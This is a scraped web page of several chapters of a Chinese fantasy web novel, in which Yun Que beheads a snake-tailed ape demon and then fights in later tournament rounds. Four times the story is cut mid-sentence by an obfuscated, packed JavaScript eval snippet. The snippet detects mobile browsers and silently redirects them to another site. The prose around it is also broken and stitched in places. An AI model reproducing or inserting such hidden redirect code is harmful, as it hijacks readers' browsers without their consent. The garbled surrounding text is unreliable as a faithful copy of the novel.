“方才打得不过瘾再来!” 蛇尾猿低吼一声飞身冲出右拳刮起一股旋风轰向云缺。 这一刻, 蛇尾猿再无任何保留,将它在人身状态所能施展出的所有力量,尽数拿了出来! 蛇尾猿的心情是震撼的,久久难以平息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245810|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 因为云缺的肉身强度! 刚才被它轰击了上百拳,人家非但没死,看样子连重伤都没有,充其量有点轻伤罢了,对于武夫来说毫无影响。 这种情况,蛇尾猿从未遇过! 要知道它可是货真价实的四阶大妖! 即便以人身状态作战,发挥出的力量也绝非人族能以肉身本体就扛得住的。 刚才那百拳下去,五品金身都得被活活砸死,结果人家云缺没事儿人一样! 蛇尾猿的心里浮现出两个字。 四阶! 只有堪比四阶妖兽的肉身强度,才能承受住四阶蛇尾猿的全力轰杀! 这怎么可能呢! 人族中的六品武夫而已,怎会拥有不弱于四阶妖兽的身体? 蛇尾猿想破脑袋也想不出来,云缺古怪而强悍的肉身是怎么打熬出来的。 再次出手,云缺转换了打斗方式。 之前只想着尽快将蛇尾猿打出擂台,自己好留下力气应对之后的小擂主之战。 现在看来,没什么保留实力的机会了。 蛇尾猿很狡猾,而且足够强大,如此对手,单凭着心机已经很难获胜。 既然如此,那便全力一战! 云缺不再借助身法,而且催动气机,以本体硬撼强敌! 擂台上,轰鸣阵阵。 拳对拳,脚对脚,肘击对肘击,膝击对膝击,连头锤都一模一样。 双方没人躲避,只有拳拳到肉的近身搏杀! 这场恶战,没有过多华丽的招式,也没有了精彩的武道身法,只剩下绞肉场般的生死相搏。 云缺一拳砸中对手的腹部。 蛇尾猿一拳轰在云缺的小腹。 双方各自被崩开,又在落地瞬间冲了回来。 单纯的肉搏战,其实并不好看,但是比起刀剑与法术,更加显得原始而血腥。 打到最后,擂台四周的所有人都出现一种恍惚的错觉。 擂台上不是一人一妖在搏杀,而是两头同样凶猛的妖兽在殊死缠斗! 尤其一些武夫,看得一个劲儿吸冷气。 那是四阶大妖! 四品破军也不敢完全的近身搏杀啊! 云缺此时的战斗方式,已经超出了所有人的认知,几乎闻所未闻! 一旦陷入生死搏杀,云缺立刻进入空明状态,完全沉浸在战斗所带来的畅快之中。 靠着不亚于四阶大妖的本体强度,云缺才敢如此施展,换成其他同阶早死多时,即便五品金身也不敢如云缺这般打斗。 虽然力量上照比蛇尾猿差了很多,但是有武道加持,几乎弥补了这份差距,而且肉身强度又相似,云缺与蛇尾猿战得难分上下,旗鼓相当。 原本对擂台战兴趣不大的丞相,此刻目光变得无比凝重。 一头四阶大妖而已,对左兰山来说都懒得多看一眼,可是云缺居然能与四阶大妖肉搏到如此地步,这种奇观,左兰山也从未见过。 即便太尉龙桃,在六品乃至五品的时候,也不可能有胆量与四阶大妖直接肉搏啊! 左兰山惊奇之余,看出了云缺其实难以获胜。 “若有趁手的武器,他完全能压制对方,为何不动刀剑呢?莫非…… 左兰山忽然神色骤变,低呼道:“他要冲击完美金身! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第567章 斩大妖! 擂台周围的人群足有数十万之巨,其中少年人居多,但也有不少年纪大的修行者,单纯来看热闹。 如此多的修行者当中,唯有大秦丞相看出了云缺真正的目的。 左兰山的目光变得凝重起来,神色肃然,望着擂台上的打斗一眼不眨。 如此程度的对战,其实对左兰山来说如同孩童打闹,他自从抵达之后就对少年擂的比斗毫无兴趣。 因为擂台上的少年们实在太弱。 不值得大秦丞相正眼看待。 当看出云缺的目的之后,左兰山心里的轻蔑之意尽数消失,取而代之的是一份强烈的震撼。 这份震撼的来源,并非残酷凶险的恶战,而是完美金身! 世上的修行派系有很多,无论修道还是修儒,修武还是修巫,都有着固定的路线。 从九品到一品,犹如阶梯般逐步提升,就像一条条笔直的路,没有捷径也没有岔路。 哪怕同时修炼两种派系,也需要按照固定的路线一步步提升。 然而天下修行派系当中,唯独武夫一派有一个例外,那就是五品金身境。 武夫走到五品之际,通常也是笔直前行,通过五品,抵达四品。 但是武夫的五品金身,出现了一个岔路,那就是完美金身! 这条岔路的出现,让武夫在五品的时候多了一份选择,有机会达成完美境界,而完美金身与普通金身之间的差距,在最初或许不太明显,越往后修炼,差距将越加恐怖,最后会成为天堑一般的巨大鸿沟。 别人或许不太清楚完美金身的可怕,左兰山作为修炼了数十年的大秦丞相,三朝元老,他可清楚得很。 五品金身,不仅在同阶五品之间能达到绝对的无敌,还有能力越阶挑战四品! 最关键的是,完美金身是冲进一品的唯一契机! 左兰山很清楚的知道,天下间的完美金身,总共加起来超不过一掌之数。 大秦只有两人,秦皇赢開,军神白起,连太尉都没达到完美境界。 而大唐的完美金身只有一个,武威王,忆白龙。 可以说每出现一位完美金身,未必之后都能达到一品境界,至少冲进二品没什么悬念。 二品强者,放在云州绝对是一方 巨擘,真正的强者! 所以完美金身的出现,注定会被各方势力拼命拉拢。 如此稀少的完美金身,居然有机会出现在眼前,左兰山岂能不惊。 这位当朝丞相甚至在心里下定了决心,一旦驸马能达成完美金身,左兰山就在驸马大婚之际亲自送礼! 还是一份绝对的重礼! 无论任何手段,都要将驸马绑在玄龙军! 左兰山本就对文武双全的驸马十分看好,只是碍于面子,不肯示弱,拉不下来老脸。 这次若是驸马成为完美金身,左兰山连脸都可以不要,也得拉拢住驸马。 比起世间罕见的完美金身,脸算什么! 丞相的心思,外人自然不得而知。 人们被擂台上凶险的打斗所震惊,时而惊呼,时而叫好,看得心惊肉跳。 能与妖族近身搏杀的武夫很常见,敢与超出本身两个大境界的妖族近身恶战的武夫,简直闻所未闻! 柳真真,段无病,白誉等一众熟人,此刻的脸色全都不太好看,紧张不已。 因为擂台的打斗太过凶残! 蛇尾猿硕大的拳头犹如铁锤,全力一击即可在擂台上砸出个大坑。 云缺的拳脚一样够狠,找到机会就会在蛇尾猿身上留下一连串的拳印。 小擂台逐渐变得分崩离析,最后完全被打碎! 擂台消失, 云缺与蛇尾猿的恶战却毫无停顿,在地面继续搏杀。 随着打斗的持续,双方的本体出现了相似的伤势。 蛇尾猿的双肩均被震裂,血流如注,甚至能看到白骨,那是互相轰击所反噬的巨力所致。 云缺的右拳则变得血肉模糊,手指的皮与肉几乎被震碎,每次挥拳犹如攻出了一只骨拳,触目惊心。 即便如此,双方仍旧没有任何退缩,始终动用着全力在交锋。 渐渐的,四周的惊呼与欢呼消失不见。 数以万记的人群,变得鸦雀无声。 人们瞪大了眼睛,直勾勾盯着战场,除了震撼之外,再无任何其他的情绪。 鸿影在人群里急得直挥拳,想要借给他师兄力量。 白誉的脸色变得愈发苍白,在这位唐太子看来,再打下去,只能是同归于 尽的局面。 因为双方势均力敌根本分不出胜负! 小擂台上的擂主们此刻变得愈发震撼柳真真史得侩段无病等人都替云缺担忧不已生怕云缺一个不留神 连大皇子都看得直皱眉嘀嘀咕咕道: “驸马用得着这么拼命吗真要缺胳膊少腿的怎么成亲呐小雨挺喜欢驸马的一旦驸马出了事……小雨会不会来找我这个大哥质问?” 一想起宁玉公主的可怕大皇子变得心神不宁了。 他有点后悔来少年擂。 早知道驸马要来拼命他肯定离着远远的就怕被牵连。 二皇子赢皓最为清闲坐在小擂台上拿着酒壶一边喝酒一边看打斗显得兴致勃勃。 商暮的脸色最不好看。 她之前对云缺的战力其实并未太看重即便对方也会动用妖力商暮也有一定把握取胜她认为云缺充其量是个难缠的对手。 此刻见到云缺的肉身之力居然如此强悍商暮的信心开始动摇。 这等恐怖的对手需要她拿出全部妖力才有可能应对。 小擂主们心思各异而云缺此刻则完全沉浸到战斗所带来的畅快当中。 四周的人群在云缺眼里彻底消失。 眼前只有蛇尾猿一个身影。 心里只有一个念头…… 斩妖!!! 云缺的眼瞳隐隐有些发红浮现一些殷红的血丝但是很快就被消弭。 妖力是不能用的。 只能以武道取胜。 这是场无比艰难的恶战。 云缺虽然战意十足但是想要取胜太过艰难。 以六品修为所施展的奔雷掌与赤炎拳其威能不足以重创四阶大妖只能造成一些伤势而已。 如果继续打斗下去云缺会死在蛇尾猿前面。 这种结局云缺自然不会接受。 以自己身死来换取蛇尾猿重创自己岂不是赔大了。 于是云缺改换了战术收拳收掌摆出了断刀式的起手式。 没有刀。 而是以掌代刀! 云缺将血肉模糊已经透出白骨的右手立了起来将其当做 手刀,施展出断刀式。 一断山魁路,二断精怪门,三断邪鬼纵迹! 三式齐出! 影步施展开来,配合断刀式。 云缺的身影如鬼魅般穿梭在蛇尾猿身周,手刀斩出了不亚于真刀的狂暴刀气! 刀法一出,蛇尾猿立刻察觉到机会,它心里一阵窃喜。 不再对拳,说明对方已经虚弱! 只要找到机会,以全力轰击就有机会击杀对方! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266742|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云缺有着不弱于四阶大妖的强悍肉身,在力量方面却远远不及大妖,这一点蛇尾猿早已发现,它知道自己的强势是肉身之力。 蛇尾猿极其狡猾, 见手刀袭来,它装作拼力抵抗,脚下却连连后退,佯装不敌。 云缺施展的断刀式,的确威力更强,但还达不到重创蛇尾猿的地步,只能在蛇尾猿身上留下一道道切开血肉的伤口,难以切断骨骼。 嘭! 一声闷响突然出现。 蛇尾猿在后退途中,突然脚步一顿,抬起左手抓住了云缺的手刀。 比斗到现在,蛇尾的左手始终没动,因为之前曾经定好了让云缺一只手。 如今到了胜负关头,蛇尾猿不再遵守约定,以左手硬抗手刀,右拳抡起。 “给我去死!!!” 蛇尾猿怒吼之际,它的整条右臂膨胀开来,衣袖被撑爆,手臂上长满长毛,竟现出了妖身! 一条猿猴的臂膀,呈现在所有人面前,硕大的拳头上妖气暴起! 这一拳之力,是四阶大妖的真实力量,在人身状态是发挥不出来的。 比之前的拳力要恐怖数倍! 即便云缺有着不弱于四阶大妖的肉身,在这一拳之下也将被震碎五脏六腑! 在猿臂出现的同时,周围惊呼四起。 一些胆小的甚至急忙闭眼,认为云缺会被砸成肉泥。 四阶大妖耍赖了,那么云缺肯定必死无疑! 柳真真,白誉,段无病,鸿影这些云缺的友人,大惊之际都想去援手,但是来不及了。 蛇尾猿的巨拳带着轰鸣声砸落! 大秦一方, 马至远豁然起身,惊呼道:“驸马危险!” 左兰山则眉头一挑,诧异道:“雷骨?” 在场的所有人唯有丞相看出了一个奇异的现象。 左兰山看到云缺手刀的骨骼上蕴含着一抹雷电之力。 与此同时 无数人的惊呼当中蛇尾猿砸出的雷霆一拳居然在即将击中云缺之际忽地停顿下来。 无人得见的雷电之力此刻正顺着云缺的手刀冲进蛇尾猿的本体! 蛇尾猿在佯装后退寻找反杀的最佳良机云缺又何尝不是故作凶猛进攻就等着对方现出妖身的瞬间来完成一击杀敌。 猎妖人对妖族的了解是其他人远远不及的。 云缺知道自己唯一的获胜时机就是蛇尾猿在妖身与人形的转化之际! 因为两种不同形态的转化瞬间是妖族之躯最为虚弱的时刻这一点是在萍山君身上得到的验证。 融入了筋骨的雷精之力此刻被云缺尽数调集汇聚于手刀之上。 这一刀虽然无法斩断蛇尾猿的左臂但冲出的雷电之力却让蛇尾猿短暂的麻痹瞬间。 这瞬间足够云缺完成真正的绝杀! 在蛇尾猿麻痹之际云缺身形转动凌空跃起右手如刀在半空划出一道半圆的刺眼雷光! “四断……百鬼子孙!” 随着云缺的低吼断刀式第四式施展而出。 落下的手刀宛如断头之铡森森白骨竟爆发出刺耳风啸! 咔嚓!!! 手刀斩在蛇尾猿的后颈。 一颗硕大的人头飞起在半空中变化成猿猴的头颅赤红的猴眼带着不甘与惊悚之色越飞越高最后掉落在远处。 扑通!! 无头的尸体倒在碎石当中人形消散现出了猿猴之躯。 云缺稳稳落地。 脚下尘土四起身躯傲然而立右手顺着指尖白骨滴滴答答流淌着妖族鲜血犹如提着一把绝世利刃。 徒手 第568章 无冕之王 当尘埃散去擂台周围一片宁静。 所有人的目光都变得充满了震撼满脸的不可思议。 四阶大妖就这么被砍了? 还是直接枭首! 阴沉的天空隐隐传来雷鸣。 蛇尾猿的尸体上始终有雷光在起伏。 仿佛这头凶猛的大妖是被九霄之上的神雷劈死而非被一位六品宗师境的武夫斩杀。 人们一时间不敢置信。 越阶杀敌大家都听说过可这是越过了两个大境界! 以六品斩大妖! 丞相前倾的身体缓缓坐好左兰山惊疑不定的道: “化形妖族的最大弱点在于人身与妖躯变化的瞬间时机掌握得如此精确必然对斩杀妖族有着极其丰富的经验他到底如何做到的……” 在场的所有人几乎没人能看出云缺获胜的关键但是大秦丞相则看穿了一切。 六品武夫 这种弱点只是瞬间而已。 想要精准把握住时机需要猎妖无数的经验才行左兰山始终想不通年纪轻轻的驸马怎会拥有这等堪称恐怖的斩妖经验? 左兰山认为驸马那一刀也许是巧合或者纯粹就是蒙的。 很快鸦雀无声的气氛被鸿影的大吼打破。 “师兄厉害!师兄无敌!” 周围的人群如梦方醒山呼海啸般的呼喝声炸起在少年城内。 “赢了!哈哈我们赢了!” “妖族就该杀!杀得好!” “敢来少年擂上挑战让它们妖物知道知道我人族的厉害!” “杀妖如屠狗!真解气!” “要我说少年擂不用比了少年王已经选出来了!” “有道理!谁还能斩杀四阶大妖?唯有少年王!” “少年王!少年王!” 欢呼声如同雷霆一般响彻天地。 云缺运转着气机封住手上的伤势同时在心里长出一口气。 这次恶战实在太险了! 不用妖刀的前提下云缺基本没有胜算至多与蛇尾猿打个平手想要赢难如登天。 之所以斩杀了大妖 其实是云缺的心智更高一筹。 这场精彩的战斗,看似在比拼力量比拼肉身强悍,实则是在比拼着心智。 蛇尾猿极其狡猾,而且相当聪明,它一直没有动用的左手才是它的必杀一击,所谓的约定在妖族眼里根本不存在,只要杀掉敌人,妖族无所不用其极。 蛇尾猿始终等待着机会。 一旦抓住云缺,另一只手就会现出妖躯将云缺击杀,否则它也难以取胜。 毕竟化形妖族的战力会极大的降低,根本发挥不出四阶大妖的力量。 蛇尾猿其实从一开始,就定下了这份阴险的计划。 很可惜,它们妖族的德行,身为猎妖人的云缺一清二楚。 什么约定,什么承诺,即便毒誓这种人族最为忌惮的东西,在妖族眼里也一文不值。 所以云缺料到蛇尾猿会现出妖身来击杀自己,而对方现出妖身的那一刻,就是自己获胜的契机! 蛇尾猿的确聪明,但它反被聪明误,以它的心智岂能斗得过来自大晋的平天王。 面对敌人,妖族的确会无所不用其极,但是面对妖族,云缺一样会无所不用其极! 这场心智交锋,显然蛇尾猿以失败告终,身死于少年擂。 也怪蛇尾猿倒霉,非得来少年擂凑热闹。 若在其他地方,蛇尾猿一开始就动用真正的妖身,无法动用妖刀的云缺是一点辙都没有。 擂台已经变成废墟,云缺仰头望着漫天铅云。 不够,还不够…… 两场恶战过后,云缺能感受到五品金身越来越近了。 境界大门已经被推开一半,却无法完全开启。 如此程度的生死恶战,都无法冲进完美金身,云缺也有些惊奇。 但是云缺非但没有懊恼,反而心头的战意越来越旺! 对于完美金身的期待,也越来越强烈! 艰难到如此程度的破境之路,说明完美金身一旦达成,就有着无人能想象的巨大好处! 既然大门还差一半,那便继续战下去。 战到完美为止! 战斗,是武夫的天赋,更是猎妖人赖以生存的技能。 或许其他的武夫对接连恶战感到吃力,可是对猎妖人来说不算什么。 打熬到极致的肉身扩展了五成的经脉加上吃过的大量天材地宝与从小就在战场厮杀的经验这些条件促成了云缺这种气机几乎用之不竭、战意无穷无尽的妖血武夫! 战斗而已家常便饭! 封住伤口后云缺扭头望向一侧。 旁边的冥欢还在直愣愣的站在原地眼珠子快要瞪出来了舌头差点被自己给咬掉。 四阶大妖就这么被砍死了! 冥欢脑子里一片空白呆愣愣的盯着云缺连跑都忘了。 云缺抬手指向冥欢道: “给你个机会你想死在擂台上还是想死在擂台下你自己选。” 冥欢清醒过来急忙狡辩道: “我又不打擂!你赢就赢了关我什么事儿!你厉害还不行吗我才不跟你打!” “不打你一样难逃一死。” 云缺冷淡的道:“妖兽进攻少年城当晚你与这头蛇尾猿是主谋你兄弟已经去了地府你若不跟着一起下去它会想你的。” 云缺此言一出少年城的所有人勃然大怒。 “原来是它们搞鬼!杀了我们少年城上千人居然还敢来打擂!杀了它!” “必须千刀万剐!切碎了喂狗!” “万妖国太嚣张!敢偷袭我们少年城等选出少年王第一个攻打万妖国!灭了它们这群该死的妖物!” 小擂台上的柳真真此时恍然大悟惊呼道: “是那头四阶猿妖!” 史得侩惊讶道:“还真是!原来进攻我们少年城的是万妖国的杂碎!此仇不报非君子选出少年王铲平万妖国!” 由于蛇尾猿始终以人形状态出现柳真真史得侩等人并未认出蛇尾猿的真身此刻得知真相顿时怒意大起。 柳真真大喝道: “抓住此妖!” 一群少年修士立刻犹如猛虎般扑了过去将冥欢擒住后五花大绑用的是坚固的铁锁。 冥欢大骂道: “你们耍赖!一群人打我一个我不服!有种的单挑!” “好哇放开它让它跟我单挑。”云缺背着手道。 冥欢一看云缺 会报复你们!” “让万妖国随便来!看我们怕不怕!” “等你们万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266743|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖国来人,你早已死无全尸!” 两名少年城的高手将冥欢踹翻在地,道:“城主,此妖该如何处置!” 柳真真横眉立目,寒声道: “少年王出世之时,以此妖,祭王旗!” 冥欢的命运就此被定下。 祭旗! 两名少年高手看守冥欢,充当刽子手的角色,等待着决出少年王之后就斩杀妖物。 妖族风波结束,少年擂随之进行到最后的第三阶段。 云缺连续赢得了三场挑战,成为最后一位小擂主,十六人开始抓阄对战,赢家进前八,输家就此淘汰。 擂台周围变得热闹起来。 还没到最后的决赛,就能看到如此精彩的比斗,大家都觉得这趟没白来,至少大开眼界。 在很多少年人的心里,其实已经默认了少年王的出现。 那就是云缺! 人家不仅斩杀了少年城的叛徒常慎行,还以一己之力怒斩四阶大妖,如此战绩,足以配得上少年王的称号。 在天下少年眼里,云缺,已经成为了少年擂的无冕之王! 大秦一方, 马至远犹豫着询问道: “大人,驸马大婚的贺礼,该选什么为好呢。” 见识过云缺那恐怖的战力,马至远觉得一般的贵重贺礼基本没用了,根本拉拢不住人家。 左兰山用鼻子哼了一声,道: “等他打完最后一场再说,斩大妖而已,擂台上的又不止他一个人能做到。” 嘴里说着硬气的话,丞相心里却开始盘算起自己手里的几样珍贵法宝了。 普通宝贝肯定无效,要送,就送一件肯定能拉拢住的东西,要不然岂不是白送了。 马至远拱手称是,对丞相说的这句话没什么意外。 倒是周围的一些大秦王侯世子,或是名门之后纷纷奇怪起来。 以丞相的说法,擂台上还有人能斩杀四阶大妖? 怎么可能呢? 大妖又不是寻常的鸡鸭鹅狗,说宰就宰。 疑惑归疑惑,没人敢多嘴询问,丞相的脾气可不太好,还是离远点为妙。 抓阄环节比较简单。 少年城一方早就准备好了道具,用个特制的铁坛子装着十六枚竹签,其中两枚竹签的底部刷有红漆。 特制的铁坛子能隔绝灵识感知,红漆则毫无味道,十六位小擂主分别抽签。 抽到两枚红竹签的,便互为对手。 很快选出了第一对。 云缺差点笑出声来。 大皇子赢财与二皇子赢皓。 这俩亲兄弟居然抽到一起,运气实在不太好。 第二轮抽签,竹签改为十四枚,以此类推。 云缺这次运气不错,抽到个普通的五品武夫,看装扮不是大秦的人,不知来自何处。 抽签的时候,少年城的人手也在忙活着修建毁坏的擂台,搬来大量岩石。 很快小擂主的对手全部选好,被云缺与蛇尾猿打碎的小擂台也随之建好。 接下来,十六座小擂台开始合拢,两两组合,变成了八座较大的擂台。 十六位来自天南海北的少年高手各自站在擂台之上,随着一声号令,同时开始了前八之战。 看这本书的人都是很幸运的,分享后你的运气会更棒的 第569章 还是你够坏呀 比斗之前,云缺的对手显得十分客气。 先拱手抱了抱拳,也不报名,只说一句话。 “点到为止!” 这位已经怕了。 云缺能斩杀四阶大妖,打他一个普通的五品金身毫无悬念。 若非碍于面子,这位都想直接弃权。 八座擂台,同时开打,这下子场面变得愈发热闹起来。 观战的人群看得眼花缭乱,都不知看哪座擂台好了。 五品之战,本就精彩,刀光剑影中夹杂着各类法术,一时间擂台上的比斗精彩纷呈。 只有七座擂台在打。 有一座擂台上,两兄弟正在唠嗑。 “大哥是皇兄,要不然,这局皇兄赢,我下去好了。”赢皓道。 “这是什么话!为兄岂能占二弟的便宜,这一局让你赢。”赢财道。 “我其实不喜欢打架,在下边喝酒看热闹多好,还是皇兄赢吧。”赢皓道。 “不可,二弟好不容易出城一趟,既然来了,为兄自当谦让,做大哥要有做大哥的模样才行。”赢财道。 “皇兄不知道,我跟驸马是酒友,我不想跟妹夫动手,自家人在擂台上打打杀杀实在有伤和气。”赢皓道。 “二弟此言差矣,驸马是你妹夫,难道不是我妹夫了?”赢财道。 “驸马桀骜不驯,他连九卿衙门都敢烧,连丞相都敢骂,连大妖都能杀,我未必打得过他,容易被他打。”赢皓道。 “二弟啊,身为大秦皇族,你看看你自己,整天醺酒,连胆子都喝小了。”赢财恨铁不成钢的摇头叹息。 “皇兄胆大包天,人称天生坏种,正好,皇兄去和驸马比一比最为合适。”赢皓趁机要溜。 结果被他大哥一把薅住。 大皇子义正言辞的道: “二弟此言差矣,你怕被驸马打,难道我就不怕了?他抢我的观魂镜到现在还没还呢,喏,我这黑眼圈还没好利索,就是那家伙打的,再说了,这次是父皇让你来的少年擂,你要临阵退缩不成。” “驸马也是自己人,他夺下少年王不也一样吗,要不然咱俩一起走,让他们打去,咱们喝酒看热闹。”赢皓道。 “驸马毕竟是外姓人,人家又是大唐太子,少年王若 是拱手相让父皇回去非得扒了你的皮你忘了临行前父皇怎么跟你交代的了……” 赢财说着忽然一愣急忙朝着赢皓身后躬身施礼道:“儿臣见过父皇!” 赢皓被吓了一哆嗦立刻转身学着大皇子的模样躬身拜见。 他以为秦皇亲自驾临。 结果回身之后发现身后空荡荡什么都没有! 赢皓再一扭头正看到他大哥跳出擂台的飘然身影。 人家跑了! 赢皓无奈的摇了摇头嘀咕道: “还是你够坏呀连亲弟弟都骗……” 十六位小擂主最快分出胜负的毫无悬念的是二皇子赢皓。 人家根本没动手说了几句话就赢了。 最后阶段的抓阄淘汰赛允许弃权所以赢皓得到了前八的名额。 很快第二个擂台上分出了胜负。 赢家的身份令人诧异居然是小胖子朱幺。 朱幺的对手是被打下的擂台摔在地面大口喷血 五品高手这么快就被打成重伤看热闹的人们惊奇不已。 尤其少年城的人都觉得不可置信。 因为朱幺只是六品修为而已居然能赢了五品还如此之快。 半个时辰之后剩余的擂台各自分出胜负。 分别是二皇子赢皓城主柳真真段无病史得侩朱幺商暮云缺与另一位来自大唐的少年高手。 八强就此选出。 台下的人们议论纷纷都觉得无比新奇。 少年擂的前八强者居然有三个是六品修为! 这种局面没人能想到于是人们开始期待起之后的四强之战。 这一场比斗云缺赢得毫无悬念甚至有点无聊。 对手谨慎得几乎过分了。 自始至终完全在防御状态一次进攻都没有防守了半晌见云缺施展拳道法门人家在挡住一击赤炎拳之后直接跳出擂台。 看似被一拳打出擂台实际是自己蹦出去的。 吓跑了! 五品高手被六品修士吓跑如此奇闻云缺自己都觉得新鲜。 我还没用全力呢怎么走了呢。 本打算来个不 算强的对手正好当做沙包继续冲击完美结果人跑了。 八位强者选出之后继续抽签。 云缺对抽到的对手已经不在乎了反正还有三局无论对手是谁必须打赢才行。 不仅因为完美金身的苛刻条件还因为云缺的身份基本彻底穿帮了。 现在云缺属于破罐子破摔阶段。 什么大秦赘婿什么大唐太子全都顾不上了。 云缺唯一的目标只有少年王! 拿下少年城才能拥有一股强大的力量 这次云缺抽到的对手在外人看来属于白给但是对云缺来说却棘手得很。 正是商暮! 别看商暮只有六品巅峰程度的修为人家可是正宗的妖血武夫战力决不亚于五品巅峰。 如果商暮不顾一切完全妖化甚至能动用出四阶星狼的恐怖力量。 斩杀蛇尾猿属于智斗占了上风。 正常情况下云缺的手刀即便威力再加一倍也砍不死完全现出妖躯的四阶大妖。 除非动用妖刀否则很难取胜。 各自选出对手后八座擂台再次两两合并形成四座更大的擂台。 八位少年高手各自站在属于自己的擂台两侧准备着迎接恶战。 其他人都在蓄力顺便缓口气毕竟刚刚打完一场有所消耗唯独小胖子朱幺二话不说直接开打。 朱幺的对手是来自大唐的少年高手有着五品巅峰程度的修为。 对于比自己弱了一个境界的对手此人毫无小觑之心始终谨慎应对一交手立刻拿出全力打得进退有据。 很快其他人也开始了各自的战斗。 云缺瞄了眼对手道: “和气为贵要不然咱们也点到为止?商家妹妹意下如何。” 商暮没开口呢挤到擂台下的商福先说话了。 “我看行!妹子别冲动啊这家伙连四阶大妖都能宰别跟他拼命点到为止就行别伤了和气!” “谁跟他有和气!” 商暮冷哼一声盯着云缺道:“萍山君我要定了!你若还有斩大妖的力量最好趁早用出来否则你走不下这座擂台!” 商暮战意十足商福则担心不已。 云缺道了声好先拿出一把灵丹吞了下去。 与蛇尾猿的恶战气血消耗不少加上指骨的伤势也需要灵丹恢复。 擂台对战服用丹药的不在少数。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281040|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 别人都是一粒一粒的吃云缺是一把一把的吃看得台下众人瞠目结舌。 人们纷纷佩服起来。 瞧瞧难怪是能与大妖肉搏的强人吃药都比别人吃的多。 丹药入腹云缺摆出起手式猛攻而出! 商暮的确很强拥有着妖血武夫的强大战力而这种强敌恰恰是云缺现在所需要的东西。 自从踏上少年擂云缺的所有对手都成了他冲进完美金身的阶梯。 只有阶梯足够多足够高大才能踩着阶梯抵达更高的境界。 而商暮则被云缺当做了下一个阶梯! 商暮之前观察了云缺的两次比斗对云缺的能力有了更详细的了解她知道对方很强于是不再保留直接动用妖力。 眼瞳转为幽蓝四条长须出现虎牙变尖。 除此之外商暮的本体倒是没有其他变化只是手里多了两把森白的匕首! 匕首不算锋利但是气息极其可怕挥动之间能发出极寒之气。 商暮的武器不仅是匕首其实还是獠牙。 星狼之牙! 獠牙匕首是妖武者身上的妖力外现状态类似云缺的妖刀。 妖武者一旦动用武器说明陷入了不死不休的恶战! 云缺没有武器只能动用武道以影步来躲避狼牙匕首。 两人的打斗从一开始便陷入了白热化。 其他擂台上的对手还在互相试探阶段云缺与商暮已经斗得险象环生两人身上不断出现伤口。 商暮别看是女子越战越勇身形越来越快狼行之法的施展让她在擂台上化作狂风速度惊人。 云缺若非动用影步 因为狼牙匕首的锋利足以切开四阶妖兽的骨头! 星狼这种妖族比较特殊速度极快獠牙更是威力绝伦据说星狼会在夜晚仰天长啸以獠牙吸收星辰之力越是年长的星狼 ,其獠牙越发强大,甚至能咬断法宝。 商暮,绝对算得上难缠的对手。 云缺的脑海再次放空,进入空明状态,那扇高大的境界大门就在眼前! 云缺战得酣畅淋漓,痛快不已,与商暮斗得难分难解,不相上下。 另一方擂台。 柳真真与段无病的比斗也吸引了无数目光。 一方是少年城的城主,一方是大秦玄龙军的高手,两人的打斗堪称赏心悦目。 柳真真英姿飒爽,一招一式携带着风雷之力。 段无病仪表堂堂,武道法门加上道门法术,威力惊人。 这两人同样是势均力敌的局面。 二皇子赢皓的对手是少年城将军史得侩,两人都挺客气,先报出各自名号。 报名之前客气,是因为不知道对手的身份,报名之后直接翻脸,动手打开。 原来是对头! 小胖子朱幺对战来自大唐的五品高手。 这座擂台的关注最少,人们的目光都被其他擂台所吸引。 毕竟少年城的城主,大秦的皇子,都是鼎鼎有名的人物,身份高贵,而云缺更是手刀斩大妖的恐怖强人。 不料被人们所忽视的最后一座擂台,反而最先分出了胜负。 来自大唐的五品高手居然被打飞出去,犹如炮弹般砸在数百丈之外的城墙上,直接在墙壁砸出个人形大洞,竟透墙而出! 台下, 太子白誉的注意力都在云缺身上,忽然听到响动,回头望去,立刻惊讶起来。 第570章 